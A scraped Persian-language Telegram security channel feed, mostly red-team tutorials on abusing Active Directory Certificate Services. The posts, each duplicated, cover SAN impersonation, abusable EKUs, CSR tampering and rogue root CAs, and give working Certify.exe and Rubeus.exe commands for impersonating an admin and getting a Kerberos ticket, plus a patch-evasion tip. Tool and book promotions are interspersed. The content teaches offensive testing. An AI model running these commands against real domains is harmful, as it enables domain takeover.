⭕ مقدمهای بر AD CS – ویژگیهای گواهینامه (Certificate Attributes)
در این بخش به بررسی چند ویژگی مهم و کاربردی گواهینامهها در Active Directory Certificate Services میپردازیم. این ویژگیها هم در کارهای عادی و هم در عملیات تیم قرمز میتوانند نکات جالبی داشته باشند.
ویژگیهای اصلی گواهی
Subject
موجودیت دریافتکننده گواهی. مثال:
Issuer
صادرکننده گواهی، که معمولاً یک CA داخلی یا سازمانی است.
Subject Alternative Name (SAN)
نامهای جایگزین که میتواند شامل DNS، آدرس IP یا ایمیل باشد.
Validity Period
بازه زمانی اعتبار گواهی (تاریخ شروع و پایان).
Extended Key Usage (EKU)
تعیین هدف یا سناریوی استفاده از گواهی (جزئیاتش در بخشهای بعدی گفته میشود).
نکات عملیاتی برای تیم قرمز
SAN قابل تغییر (SAN Modifiable)
اگر قالب صدور گواهی (Certificate Template) به شما اجازه ویرایش SAN بدهد، میتوان از این قابلیت برای Impersonation استفاده کرد.
سناریوی کلاسیک: اضافه کردن
مثال:
بررسی دوره اعتبار (Validity)
تاریخ اعتبار را زیر نظر داشته باشید تا پیش از انقضا گواهی را تمدید کنید وPersistence ایجاد شود.
Evasion
استفاده از پارامتر
💡 نکته: اگر قالب گواهی در بخش SAN آسیبپذیر باشد، این می تواند یک مسیر مستقیم به سمت Domain Escalation باشد.
#ADCS
@KavehOffSec
در این بخش به بررسی چند ویژگی مهم و کاربردی گواهینامهها در Active Directory Certificate Services میپردازیم. این ویژگیها هم در کارهای عادی و هم در عملیات تیم قرمز میتوانند نکات جالبی داشته باشند.
ویژگیهای اصلی گواهی
Subject
موجودیت دریافتکننده گواهی. مثال:
CN=user@domain.comIssuer
صادرکننده گواهی، که معمولاً یک CA داخلی یا سازمانی است.
Subject Alternative Name (SAN)
نامهای جایگزین که میتواند شامل DNS، آدرس IP یا ایمیل باشد.
Validity Period
بازه زمانی اعتبار گواهی (تاریخ شروع و پایان).
Extended Key Usage (EKU)
تعیین هدف یا سناریوی استفاده از گواهی (جزئیاتش در بخشهای بعدی گفته میشود).
نکات عملیاتی برای تیم قرمز
SAN قابل تغییر (SAN Modifiable)
اگر قالب صدور گواهی (Certificate Template) به شما اجازه ویرایش SAN بدهد، میتوان از این قابلیت برای Impersonation استفاده کرد.
سناریوی کلاسیک: اضافه کردن
altname=admin به گواهی درخواست شده.مثال:
Certify.exe request /ca:CA_NAME /template:User /altname:admin
بررسی دوره اعتبار (Validity)
تاریخ اعتبار را زیر نظر داشته باشید تا پیش از انقضا گواهی را تمدید کنید وPersistence ایجاد شود.
Evasion
استفاده از پارامتر
/sidextension برای دور زدن برخی پچهای CBA.💡 نکته: اگر قالب گواهی در بخش SAN آسیبپذیر باشد، این می تواند یک مسیر مستقیم به سمت Domain Escalation باشد.
#ADCS
@KavehOffSec
❤7
GitHub
GitHub - TryHackBox/Kaveh-WebDiff-Monitor: HTTP/S Service Monitor Script This Bash noscript periodically monitors the availability…
HTTP/S Service Monitor Script This Bash noscript periodically monitors the availability and content of web services (HTTP/HTTPS) specified in an input file. It checks each service at regular interva...
https://github.com/TryHackBox/Kaveh-WebDiff-Monitor
توضیحات ابزار :
این ابزار یک مانیتورینگ تغییرات و وضعیت HTTP است که برای بررسی سلامت سرویسهای وب، مانیتورینگ Virtual Hostها و شناسایی تغییرات محتوا استفاده میشود.
با استفاده از این اسکریپت میتوانید چندین IP/Port/Schema/Vhost را به صورت دورهای بررسی کنید و در صورت تغییر وضعیت پاسخ یا تغییر در محتوای صفحه، هشدار دریافت کنید.
اگر فکر میکنید ویژیگی این ابزار بهتر میکنه پیشنهاد بدید اضافه کنم میتونید در گفتگوی مستقیم پیشنهاد بدید یا توییتر .
@KavehOffSec
توضیحات ابزار :
این ابزار یک مانیتورینگ تغییرات و وضعیت HTTP است که برای بررسی سلامت سرویسهای وب، مانیتورینگ Virtual Hostها و شناسایی تغییرات محتوا استفاده میشود.
با استفاده از این اسکریپت میتوانید چندین IP/Port/Schema/Vhost را به صورت دورهای بررسی کنید و در صورت تغییر وضعیت پاسخ یا تغییر در محتوای صفحه، هشدار دریافت کنید.
اگر فکر میکنید ویژیگی این ابزار بهتر میکنه پیشنهاد بدید اضافه کنم میتونید در گفتگوی مستقیم پیشنهاد بدید یا توییتر .
@KavehOffSec
🔥6
⭕ مقدمهای بر AD CS: گواهی های EKUها و OIDها
سلام، اگر بخوایم در مورد Active Directory Certificate Services (AD CS) حرف بزنیم، یکی از بخشهای کلیدیش گواهیهای دیجیتال هستن که توشون چیزایی مثل Extended Key Usage (EKU) و Object Identifier (OID) نقش مهمی بازی میکنن. اینا اساساً کمک میکنن تا بفهمیم یک گواهی برای چی ساخته شده و چطور میتونه سوءاستفاده بشه، مخصوصاً تو سناریوهای red teaming یا تست نفوذ. من اینجا سعی میکنم این بخش رو با جزئیات بیشتری توضیح بدم، چون واقعاً کلیدیه برای درک چگونگی abuse کردن templateهای گواهی.
EKU چیه؟
در واقع یک extension تو گواهیهای X.509 هست که مشخص میکنه این گواهی دقیقاً برای چه هدفی میتونه استفاده بشه. بدون EKU، گواهی میتونه برای هر کاری استفاده بشه (که این خودش یک حفره امنیتی بزرگه)، اما با EKU، محدودیتهایی اعمال میشه. تو محیط AD CS، این EKUها میتونن توسط administratorها روی templateها تنظیم بشن، و اگر درست کانفیگ نشن، راه رو برای حمله باز میکنن. مثلاً تو حملات escalation privilege، مثل ESC1 تا ESC3 که تو گزارشهای SpecterOps توضیح دادن، EKUهای خاصی مثل Client Authentication میتونن به مهاجم ها کمک کنن تا دسترسی بالاتری بگیرن.
OID چیه؟
OIDها identifierهای منحصر به فردی هستن که ساختار hierarchy دارن مثل یک درخت که هر شاخه اش یک کد عددی داره. اینا توسط سازمانهایی مثل IANA یا Microsoft تعریف میشن و هر OID یک کاربرد خاص رو نشون میده. OIDها تو EKUها استفاده میشن تا دقیقتر بگن گواهی چیکار میتونه بکنه. مثلاً، OIDها مثل شماره سریال هستن که کمک میکنن سیستمها بفهمن گواهی معتبره یا نه. اگر بخوای custom OID بسازی (مثل تو تستهای vuln)، میتونی از ابزارهایی مثل Certify.exe استفاده کنی تا ببینی چطور کار میکنه.
OIDهای رایج و کاربردهاشون (با تمرکز روی abuse)
اینجا چند تا OID مهم رو لیست میکنم، همراه با توضیح اینکه چطور میتونن تو abuse templateها مفید باشن. اینا رو بر اساس تجربیات red teaming انتخاب کردم، چون اغلب تو حملات واقعی دیده شدن:
- Server Authentication (OID: 1.3.6.1.5.5.7.3.1):
این برای SSL/TLS سرورها استفاده میشه، مثل وبسرورها. تو abuse، اگر templateی داشته باشی که این EKU رو اجازه بده و enrollment rights داشته باشی، میتونی گواهی جعلی بسازی برای impersonation سرورها. ولی معمولاً کمتر برای escalation استفاده میشه.
- Client Authentication (OID: 1.3.6.1.5.5.7.3.2):
این یکی برای احراز هویت کلاینتها طراحی شده، مثلاً تو PKINIT برای گرفتن Kerberos TGT. کلیدیه برای abuse! اگر templateی با این EKU داشته باشی و enrollment داشته باشی، میتونی privilege escalate کنی. مثلاً تو آموزشهای red team، میگن: template با Client Auth + enrollment rights = escalation path. برای enumerate کردنش، از Certify.exe find /clientauth استفاده کن. اگر نیاز به تست vuln داشتی، custom OID بساز و امتحان کن.
- Code Signing (OID: 1.3.6.1.5.5.7.3.3):
برای امضای کد، که میتونه Windows Defender Application Control (WDAC) رو bypass کنه. تو abuse، اگر بتونی گواهی با این EKU بگیری، کد مخربت رو امضا میکنی و سیستم فکر میکنه معتبره.
- Secure Email (OID: 1.3.6.1.5.5.7.3.4):
برای رمزنگاری و امضای ایمیلها (SMIME). کمتر abuse میشه، اما اگر template vuln باشه، میتونی برای spoofing ایمیل استفاده کنی.
- Encrypting File System (EFS) (OID: 1.3.6.1.4.1.311.10.3.4):
برای رمزنگاری فایلها تو ویندوز. تو سناریوهای خاص، می تونی ازش برای دسترسی به فایل های encryptشده سوءاستفاده کنی.
- Any Purpose (OID: 2.5.29.37.0):
این یکی همهکارهست و هیچ محدودیتی نداره – دقیقاً مثل نداشتن EKU. vulnerable به حملاتی مثل ESC2، چون میتونی گواهی رو برای هر کاری استفاده کنی، از authentication گرفته تا signing.
- Certificate Request Agent (OID: 1.3.6.1.4.1.311.20.2.1):
این برای on-behalf-of enrollment استفاده میشه، که تو ESC3 کلیدیه. اگر template این EKU رو داشته باشه، attacker میتونه گواهی برای کاربر دیگه درخواست کنه و privilege بگیره.
نکتههای کلیدی برای abuse در red teaming
- No EKU = Any Purpose:
اگر گواهی EKU نداشته باشه، مثل Any Purpose عمل میکنه عالی برای ESC2، چون محدودیت نداره و میتونی باهاش هر کاری کنی.
#ADCS
@KavehOffSec
سلام، اگر بخوایم در مورد Active Directory Certificate Services (AD CS) حرف بزنیم، یکی از بخشهای کلیدیش گواهیهای دیجیتال هستن که توشون چیزایی مثل Extended Key Usage (EKU) و Object Identifier (OID) نقش مهمی بازی میکنن. اینا اساساً کمک میکنن تا بفهمیم یک گواهی برای چی ساخته شده و چطور میتونه سوءاستفاده بشه، مخصوصاً تو سناریوهای red teaming یا تست نفوذ. من اینجا سعی میکنم این بخش رو با جزئیات بیشتری توضیح بدم، چون واقعاً کلیدیه برای درک چگونگی abuse کردن templateهای گواهی.
EKU چیه؟
در واقع یک extension تو گواهیهای X.509 هست که مشخص میکنه این گواهی دقیقاً برای چه هدفی میتونه استفاده بشه. بدون EKU، گواهی میتونه برای هر کاری استفاده بشه (که این خودش یک حفره امنیتی بزرگه)، اما با EKU، محدودیتهایی اعمال میشه. تو محیط AD CS، این EKUها میتونن توسط administratorها روی templateها تنظیم بشن، و اگر درست کانفیگ نشن، راه رو برای حمله باز میکنن. مثلاً تو حملات escalation privilege، مثل ESC1 تا ESC3 که تو گزارشهای SpecterOps توضیح دادن، EKUهای خاصی مثل Client Authentication میتونن به مهاجم ها کمک کنن تا دسترسی بالاتری بگیرن.
OID چیه؟
OIDها identifierهای منحصر به فردی هستن که ساختار hierarchy دارن مثل یک درخت که هر شاخه اش یک کد عددی داره. اینا توسط سازمانهایی مثل IANA یا Microsoft تعریف میشن و هر OID یک کاربرد خاص رو نشون میده. OIDها تو EKUها استفاده میشن تا دقیقتر بگن گواهی چیکار میتونه بکنه. مثلاً، OIDها مثل شماره سریال هستن که کمک میکنن سیستمها بفهمن گواهی معتبره یا نه. اگر بخوای custom OID بسازی (مثل تو تستهای vuln)، میتونی از ابزارهایی مثل Certify.exe استفاده کنی تا ببینی چطور کار میکنه.
OIDهای رایج و کاربردهاشون (با تمرکز روی abuse)
اینجا چند تا OID مهم رو لیست میکنم، همراه با توضیح اینکه چطور میتونن تو abuse templateها مفید باشن. اینا رو بر اساس تجربیات red teaming انتخاب کردم، چون اغلب تو حملات واقعی دیده شدن:
- Server Authentication (OID: 1.3.6.1.5.5.7.3.1):
این برای SSL/TLS سرورها استفاده میشه، مثل وبسرورها. تو abuse، اگر templateی داشته باشی که این EKU رو اجازه بده و enrollment rights داشته باشی، میتونی گواهی جعلی بسازی برای impersonation سرورها. ولی معمولاً کمتر برای escalation استفاده میشه.
- Client Authentication (OID: 1.3.6.1.5.5.7.3.2):
این یکی برای احراز هویت کلاینتها طراحی شده، مثلاً تو PKINIT برای گرفتن Kerberos TGT. کلیدیه برای abuse! اگر templateی با این EKU داشته باشی و enrollment داشته باشی، میتونی privilege escalate کنی. مثلاً تو آموزشهای red team، میگن: template با Client Auth + enrollment rights = escalation path. برای enumerate کردنش، از Certify.exe find /clientauth استفاده کن. اگر نیاز به تست vuln داشتی، custom OID بساز و امتحان کن.
- Code Signing (OID: 1.3.6.1.5.5.7.3.3):
برای امضای کد، که میتونه Windows Defender Application Control (WDAC) رو bypass کنه. تو abuse، اگر بتونی گواهی با این EKU بگیری، کد مخربت رو امضا میکنی و سیستم فکر میکنه معتبره.
- Secure Email (OID: 1.3.6.1.5.5.7.3.4):
برای رمزنگاری و امضای ایمیلها (SMIME). کمتر abuse میشه، اما اگر template vuln باشه، میتونی برای spoofing ایمیل استفاده کنی.
- Encrypting File System (EFS) (OID: 1.3.6.1.4.1.311.10.3.4):
برای رمزنگاری فایلها تو ویندوز. تو سناریوهای خاص، می تونی ازش برای دسترسی به فایل های encryptشده سوءاستفاده کنی.
- Any Purpose (OID: 2.5.29.37.0):
این یکی همهکارهست و هیچ محدودیتی نداره – دقیقاً مثل نداشتن EKU. vulnerable به حملاتی مثل ESC2، چون میتونی گواهی رو برای هر کاری استفاده کنی، از authentication گرفته تا signing.
- Certificate Request Agent (OID: 1.3.6.1.4.1.311.20.2.1):
این برای on-behalf-of enrollment استفاده میشه، که تو ESC3 کلیدیه. اگر template این EKU رو داشته باشه، attacker میتونه گواهی برای کاربر دیگه درخواست کنه و privilege بگیره.
نکتههای کلیدی برای abuse در red teaming
- No EKU = Any Purpose:
اگر گواهی EKU نداشته باشه، مثل Any Purpose عمل میکنه عالی برای ESC2، چون محدودیت نداره و میتونی باهاش هر کاری کنی.
#ADCS
@KavehOffSec
👍6👎1
مثال عملی abuse: اول با Certify.exe templateها رو enumerate کن (مثل find /clientauth). بعد، گواهی با EKU خاص درخواست بده. برای Pass-the-Certificate، از Rubeus استفاده کن:
Rubeus.exe asktgt /user:target /certificate:cert.pfx /password:pass
این کار TGT میگیره و میتونی escalate کنی.
- اگر نیاز به custom OID داشتی، تو لاب تست کن مثلاً برای شبیهسازی vulnها.
در کل، درک EKU و OIDها کمک میکنه ببینی کجاها AD CS ضعیفه. اگر administratorها templateها رو درست harden نکنن (مثل محدود کردن enrollment rights یا اضافه کردن manager approval)، راه برای حمله بازه. پیشنهادم اینه که تو محیط تست امتحان کنی تا بهتر دستت بیاد.
#ADCS
@KavehOffSec
Rubeus.exe asktgt /user:target /certificate:cert.pfx /password:pass
این کار TGT میگیره و میتونی escalate کنی.
- اگر نیاز به custom OID داشتی، تو لاب تست کن مثلاً برای شبیهسازی vulnها.
در کل، درک EKU و OIDها کمک میکنه ببینی کجاها AD CS ضعیفه. اگر administratorها templateها رو درست harden نکنن (مثل محدود کردن enrollment rights یا اضافه کردن manager approval)، راه برای حمله بازه. پیشنهادم اینه که تو محیط تست امتحان کنی تا بهتر دستت بیاد.
#ADCS
@KavehOffSec
❤9
Photo
⭕ مقدمهای بر AD CS – درخواست امضای گواهی (Signing Request)
درود ادامه بحثمون، حالا میخوام برم سراغ بخش Certificate Signing Request یا CSR. این یکی از مراحل کلیدی تو فرآیند صدور گواهی هاست و اگر خوب درک نشه، میتونه نقطه ضعفی باشه تو امنیت دامنه. من اینجا سعی می کنم فرآیند رو قدم به قدم توضیح بدم، با تمرکز روی جنبههای red teaming و چگونگی abuse کردنش.
CSR چیه و چطور کار میکنه؟
به طور خلاصه، CSR یک درخواست رسمی برای امضای گواهی هست که از سمت کلاینت (کاربر یا سیستم) به Certificate Authority (CA) ارسال میشه. تو این درخواست، کلاینت public key خودش رو همراه با اطلاعات دیگه مثل Subject Name، Subject Alternative Name (SAN)، Extended Key Usage (EKU) و جزئیات دیگه میفرسته. CA این اطلاعات رو validate میکنه مثلاً چک میکنه که آیا requester حقوق لازم رو داره یا نه و اگر همه چیز اوکی باشه، گواهی رو sign میکنه و برمیگردونه.
این فرآیند معمولاً تو AD CS از طریق templateها مدیریت میشه. مثلاً، template مشخص میکنه که چه fieldهایی تو CSR مجاز هستن. اما اگر CA درست کانفیگ نشده باشه، مهاجم میتونه fieldهایی مثل SAN رو manipulate کنه تا گواهی جعلی بسازه. CSR میتونه شامل extensionهایی مثل EKU (که تو پست قبلی توضیح دادم) یا حتی custom OIDها باشه، که اینا رو کلاینت موقع generate کردن CSR اضافه میکنه.
آموزش ردتیم: چطور CSR رو abuse کنیم؟
تو سناریوهای حمله، CSR یکی از بهترین جاها برای injection اطلاعات جعلی هست، مخصوصاً تو حملاتی مثل ESC1 (که تو گزارش SpecterOps توضیح دادن). ایده اینه که SAN جعلی inject کنی.
مثلاً یک altname مثل admin یا یک کاربر دسترسی دار و اگر template vulnerable باشه (مثل اینکه SAN editable باشه و manager approval نداشته باشه)، CA بدون چک کردن sign میکنه.
ابزار عالی برای این کار Certify.exe هست، که میتونی باهاش CSR generate کنی و مستقیم submit کنی به CA.
مثال عملی:
تو این کامند، /ca اسم CA رو مشخص میکنه، /template template مورد نظر (مثل User که معمولاً vulnerable)، و /altname SAN جعلی رو اضافه میکنه. اگر CA vuln باشه مثلاً enrollment rights داشته باشی و validation سستی داشته باشه گواهی میگیری که میتونی باهاش impersonation کنی، مثل login کردن به عنوان admin بدون نیاز به credential واقعی.
بعد از گرفتن گواهی، میتونی از ابزارهایی مثل Rubeus برای Pass-the-Certificate استفاده کنی و escalate کنی.
نکتههای مهم برای abuse
- Intercept کردن CSR:
اگر enrollment از طریق وب باشه (مثل Web Enrollment Services)، میتونی CSR رو وسط راه intercept کنی برای Man-in-the-Middle (MITM) attacks. مثلاً با پروکسی مثل Burp، request رو modify کنی و fieldهایی مثل SAN یا EKU رو تغییر بدی. این تو محیط هایی که HTTPS درست کانفیگ نشده، خیلی آسونه.
📌همیشه چک کن که template چطور تنظیم شده
📌 اگر SAN user-supplied باشه و CA auto-approve کنه، راه بازه برای حمله.
در نهایت، CSR قلب فرآیند صدور گواهی تو AD CS هست، و اگر adminها حواسشون نباشه، میتونه به escalation سریع منجر بشه. پیشنهادم اینه که تو لاب خودتون emulate کنید و با ابزارهایی مثل Certify تست کنید.
#ADCS
@KavehOffSec
درود ادامه بحثمون، حالا میخوام برم سراغ بخش Certificate Signing Request یا CSR. این یکی از مراحل کلیدی تو فرآیند صدور گواهی هاست و اگر خوب درک نشه، میتونه نقطه ضعفی باشه تو امنیت دامنه. من اینجا سعی می کنم فرآیند رو قدم به قدم توضیح بدم، با تمرکز روی جنبههای red teaming و چگونگی abuse کردنش.
CSR چیه و چطور کار میکنه؟
به طور خلاصه، CSR یک درخواست رسمی برای امضای گواهی هست که از سمت کلاینت (کاربر یا سیستم) به Certificate Authority (CA) ارسال میشه. تو این درخواست، کلاینت public key خودش رو همراه با اطلاعات دیگه مثل Subject Name، Subject Alternative Name (SAN)، Extended Key Usage (EKU) و جزئیات دیگه میفرسته. CA این اطلاعات رو validate میکنه مثلاً چک میکنه که آیا requester حقوق لازم رو داره یا نه و اگر همه چیز اوکی باشه، گواهی رو sign میکنه و برمیگردونه.
این فرآیند معمولاً تو AD CS از طریق templateها مدیریت میشه. مثلاً، template مشخص میکنه که چه fieldهایی تو CSR مجاز هستن. اما اگر CA درست کانفیگ نشده باشه، مهاجم میتونه fieldهایی مثل SAN رو manipulate کنه تا گواهی جعلی بسازه. CSR میتونه شامل extensionهایی مثل EKU (که تو پست قبلی توضیح دادم) یا حتی custom OIDها باشه، که اینا رو کلاینت موقع generate کردن CSR اضافه میکنه.
آموزش ردتیم: چطور CSR رو abuse کنیم؟
تو سناریوهای حمله، CSR یکی از بهترین جاها برای injection اطلاعات جعلی هست، مخصوصاً تو حملاتی مثل ESC1 (که تو گزارش SpecterOps توضیح دادن). ایده اینه که SAN جعلی inject کنی.
مثلاً یک altname مثل admin یا یک کاربر دسترسی دار و اگر template vulnerable باشه (مثل اینکه SAN editable باشه و manager approval نداشته باشه)، CA بدون چک کردن sign میکنه.
ابزار عالی برای این کار Certify.exe هست، که میتونی باهاش CSR generate کنی و مستقیم submit کنی به CA.
مثال عملی:
Powershell
Certify.exe request /ca:CA_NAME /template:User /altname:admin
تو این کامند، /ca اسم CA رو مشخص میکنه، /template template مورد نظر (مثل User که معمولاً vulnerable)، و /altname SAN جعلی رو اضافه میکنه. اگر CA vuln باشه مثلاً enrollment rights داشته باشی و validation سستی داشته باشه گواهی میگیری که میتونی باهاش impersonation کنی، مثل login کردن به عنوان admin بدون نیاز به credential واقعی.
بعد از گرفتن گواهی، میتونی از ابزارهایی مثل Rubeus برای Pass-the-Certificate استفاده کنی و escalate کنی.
نکتههای مهم برای abuse
- Intercept کردن CSR:
اگر enrollment از طریق وب باشه (مثل Web Enrollment Services)، میتونی CSR رو وسط راه intercept کنی برای Man-in-the-Middle (MITM) attacks. مثلاً با پروکسی مثل Burp، request رو modify کنی و fieldهایی مثل SAN یا EKU رو تغییر بدی. این تو محیط هایی که HTTPS درست کانفیگ نشده، خیلی آسونه.
📌همیشه چک کن که template چطور تنظیم شده
📌 اگر SAN user-supplied باشه و CA auto-approve کنه، راه بازه برای حمله.
در نهایت، CSR قلب فرآیند صدور گواهی تو AD CS هست، و اگر adminها حواسشون نباشه، میتونه به escalation سریع منجر بشه. پیشنهادم اینه که تو لاب خودتون emulate کنید و با ابزارهایی مثل Certify تست کنید.
#ADCS
@KavehOffSec
👍6
⭕ مقدمهای بر AD CS: کانتینرها در Active Directory
حالا میرسیم به بخش کانتینرها تو اکتیو دایرکتوری که مستقیماً با Certificate Services مرتبطه. این کانتینرها اساساً جایی هستن که همه تنظیمات و objectهای مرتبط با PKI ذخیره میشن، و اگر بتونی بهشون دسترسی پیدا کنی، راه برای persistence یا حتی escalation باز میشه. من اینجا تمرکز میکنم روی Public Key Services container، که مسیرش اینه: CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com. این کانتینر تو partition Configuration قرار داره، یعنی site-wide و replicate میشه تو همه DCها.
زیرمجموعههای کلیدی تو Public Key Services
این کانتینر چند تا sub-container مهم داره که هر کدوم نقش خاصی تو AD CS بازی میکنن:
- Certificate Templates:
اینجا templateهای گواهی ذخیره میشن
📌 چیزایی مثل User یا Computer که مشخص میکنن چطور گواهی صادر بشه، شامل EKUها، enrollment rights و غیره. اینا کلیدین برای abuse، چون اگر vuln باشن، میتونی دسترسی بگیری.
- Certification Authorities:
لیست trusted root CAها اینجا هست. این rootها از طریق Group Policy Object (GPO) propagate میشن به کلاینتها. یعنی اگر بتونی یک CA جعلی اضافه کنی، همه ماشینها بهش trust میکنن.
- Enrollment Services:
این بخش Enterprise CAها رو لیست میکنه 📌 CAهایی که integrate شدن با AD و میتونن گواهی صادر کنن. اگر دسترسی داشته باشی، میتونی enrollment رو manipulate کنی.
- NTAuthCertificates:
برای چیزایی مثل smart card authentication و key archival استفاده میشه. این objectها مشخص میکنن کدوم CAها مجازن برای NT authentication، که تو Kerberos مهمه.
آموزش ردتیم: چطور این کانتینرها رو abuse کنیم؟
تو سناریوهای حمله، ACLهای ضعیف روی این کانتینرها میتونه به persistence منجر بشه. مثلاً، اگر Write rights داشته باشی روی Certification Authorities، می تونی یک trusted root جعلی اضافه کنی (مثل حمله DPERSIST2 تو گزارشهای persistence). این کار domain-wide trust رو میشکنه.
برای enumerate کردن، از PowerShell استفاده کن:
این کامند لیست objectها رو نشون میده. برای templateها، ابزار Certify.exe عالیه:
abuse عملی:
اگر ACL Write داری روی یک template، می تونی modify کنی (مثل ESC4) .
مثلاً enrollment rights اضافه کنی یا EKUها رو تغییر بدی تا vuln بشه. بعد، گواهی درخواست بده و escalate کن.
نکته ای که هس :
این کانتینرها جزو Tier 0 assetها حساب میشن یعنی compromiseشون معادل domain persistence. adminها باید ACLها رو سختگیرانه چک کنن، چون حتی یک low-priv کاربر اگر rights داشته باشه، میتونه کل PKI رو به هم بریزه.
تمرین پیشنهادی
برای دستگرمی، تو محیط تستت یک template enumerate کن با Certify (مثل
#ADCS
@KavehOffSec
حالا میرسیم به بخش کانتینرها تو اکتیو دایرکتوری که مستقیماً با Certificate Services مرتبطه. این کانتینرها اساساً جایی هستن که همه تنظیمات و objectهای مرتبط با PKI ذخیره میشن، و اگر بتونی بهشون دسترسی پیدا کنی، راه برای persistence یا حتی escalation باز میشه. من اینجا تمرکز میکنم روی Public Key Services container، که مسیرش اینه: CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com. این کانتینر تو partition Configuration قرار داره، یعنی site-wide و replicate میشه تو همه DCها.
زیرمجموعههای کلیدی تو Public Key Services
این کانتینر چند تا sub-container مهم داره که هر کدوم نقش خاصی تو AD CS بازی میکنن:
- Certificate Templates:
اینجا templateهای گواهی ذخیره میشن
📌 چیزایی مثل User یا Computer که مشخص میکنن چطور گواهی صادر بشه، شامل EKUها، enrollment rights و غیره. اینا کلیدین برای abuse، چون اگر vuln باشن، میتونی دسترسی بگیری.
- Certification Authorities:
لیست trusted root CAها اینجا هست. این rootها از طریق Group Policy Object (GPO) propagate میشن به کلاینتها. یعنی اگر بتونی یک CA جعلی اضافه کنی، همه ماشینها بهش trust میکنن.
- Enrollment Services:
این بخش Enterprise CAها رو لیست میکنه 📌 CAهایی که integrate شدن با AD و میتونن گواهی صادر کنن. اگر دسترسی داشته باشی، میتونی enrollment رو manipulate کنی.
- NTAuthCertificates:
برای چیزایی مثل smart card authentication و key archival استفاده میشه. این objectها مشخص میکنن کدوم CAها مجازن برای NT authentication، که تو Kerberos مهمه.
آموزش ردتیم: چطور این کانتینرها رو abuse کنیم؟
تو سناریوهای حمله، ACLهای ضعیف روی این کانتینرها میتونه به persistence منجر بشه. مثلاً، اگر Write rights داشته باشی روی Certification Authorities، می تونی یک trusted root جعلی اضافه کنی (مثل حمله DPERSIST2 تو گزارشهای persistence). این کار domain-wide trust رو میشکنه.
برای enumerate کردن، از PowerShell استفاده کن:
Powershell
ls 'AD:\CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com'
این کامند لیست objectها رو نشون میده. برای templateها، ابزار Certify.exe عالیه:
Certify find رو بزن تا vuln templateها رو پیدا کنی.abuse عملی:
اگر ACL Write داری روی یک template، می تونی modify کنی (مثل ESC4) .
مثلاً enrollment rights اضافه کنی یا EKUها رو تغییر بدی تا vuln بشه. بعد، گواهی درخواست بده و escalate کن.
نکته ای که هس :
این کانتینرها جزو Tier 0 assetها حساب میشن یعنی compromiseشون معادل domain persistence. adminها باید ACLها رو سختگیرانه چک کنن، چون حتی یک low-priv کاربر اگر rights داشته باشه، میتونه کل PKI رو به هم بریزه.
تمرین پیشنهادی
برای دستگرمی، تو محیط تستت یک template enumerate کن با Certify (مثل
Certify find /template:User) و EKUها رو چک کن ببین آیا Client Auth داره یا Any Purpose، که vuln هستن. این کمک میکنه بهتر بفهمی کجا حمله کنی.#ADCS
@KavehOffSec
👍7
📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته
📚 عنوان کتاب: وایرشارک برای ردتیمرها (Wireshark for Red Teamers)
این کتاب یک راهنمای جامع و عملی برای یادگیری ابزار قدرتمند Wireshark است، با تمرکز ویژه روی کاربردهای آن در حوزه Red Teaming (تیم قرمز) و امنیت سایبری تهاجمی. کتاب از پایه شروع می کند و به مفاهیم پیشرفته مانند تحلیل ترافیک شبکه، شناسایی آسیبپذیریها، و تکنیکهای نفوذ می پردازد. محتوای اصلی کتاب شامل فصلهایی مانند معرفی Wireshark، درک ترافیک شبکه، تکنیکهای کپچرینگ پکتها، فیلترینگ، و کاربردهای عملی در Reconnaissance (شناسایی) و Command and Control (C2) است.
این کتاب مناسب چه کسانی است؟
ویژگی های کتاب ؟
چرا باید این کتاب را بخرید؟
دانلود فایل های تمرین و سناریوها
توضیحات کامل را بخوانید .
💰 قیمت : ۲۵۰,۰۰۰ تومان
💢 ۱۰ نفر اول میتوانند این کتاب را با قیمت ۲۰۰,۰۰۰ تومان تهیه کنند .
📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport
📚 عنوان کتاب: وایرشارک برای ردتیمرها (Wireshark for Red Teamers)
این کتاب یک راهنمای جامع و عملی برای یادگیری ابزار قدرتمند Wireshark است، با تمرکز ویژه روی کاربردهای آن در حوزه Red Teaming (تیم قرمز) و امنیت سایبری تهاجمی. کتاب از پایه شروع می کند و به مفاهیم پیشرفته مانند تحلیل ترافیک شبکه، شناسایی آسیبپذیریها، و تکنیکهای نفوذ می پردازد. محتوای اصلی کتاب شامل فصلهایی مانند معرفی Wireshark، درک ترافیک شبکه، تکنیکهای کپچرینگ پکتها، فیلترینگ، و کاربردهای عملی در Reconnaissance (شناسایی) و Command and Control (C2) است.
این کتاب مناسب چه کسانی است؟
ویژگی های کتاب ؟
چرا باید این کتاب را بخرید؟
دانلود فایل های تمرین و سناریوها
توضیحات کامل را بخوانید .
💰 قیمت : ۲۵۰,۰۰۰ تومان
💢 ۱۰ نفر اول میتوانند این کتاب را با قیمت ۲۰۰,۰۰۰ تومان تهیه کنند .
📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport
❤8👍1
نمونه_کتاب_وایرشارک_برای_ردتیمرها.pdf
1.4 MB
📘 کتاب "وایرشارک برای ردتیمرها"
راهنمای تخصصی تحلیل شبکه برای هکرهای اخلاقی و تیمهای قرمز
⚠️ توجه:
این فایل تنها نمونهای از صفحات کتاب است و برخی مطالب و آموزش ها به منظور حفظ اصالت اثر حذف شدهاند.
برای دریافت نسخهی کامل و دسترسی به تمامی تمرینها و سناریوها، میتوانید کتاب را به صورت کامل خریداری کنید.
توضیحات کتاب و قیمت
توضیحات کامل
📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport
راهنمای تخصصی تحلیل شبکه برای هکرهای اخلاقی و تیمهای قرمز
⚠️ توجه:
این فایل تنها نمونهای از صفحات کتاب است و برخی مطالب و آموزش ها به منظور حفظ اصالت اثر حذف شدهاند.
برای دریافت نسخهی کامل و دسترسی به تمامی تمرینها و سناریوها، میتوانید کتاب را به صورت کامل خریداری کنید.
توضیحات کتاب و قیمت
توضیحات کامل
📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport
❤5
دامنه صوری (Domain Fronting) چیست؟
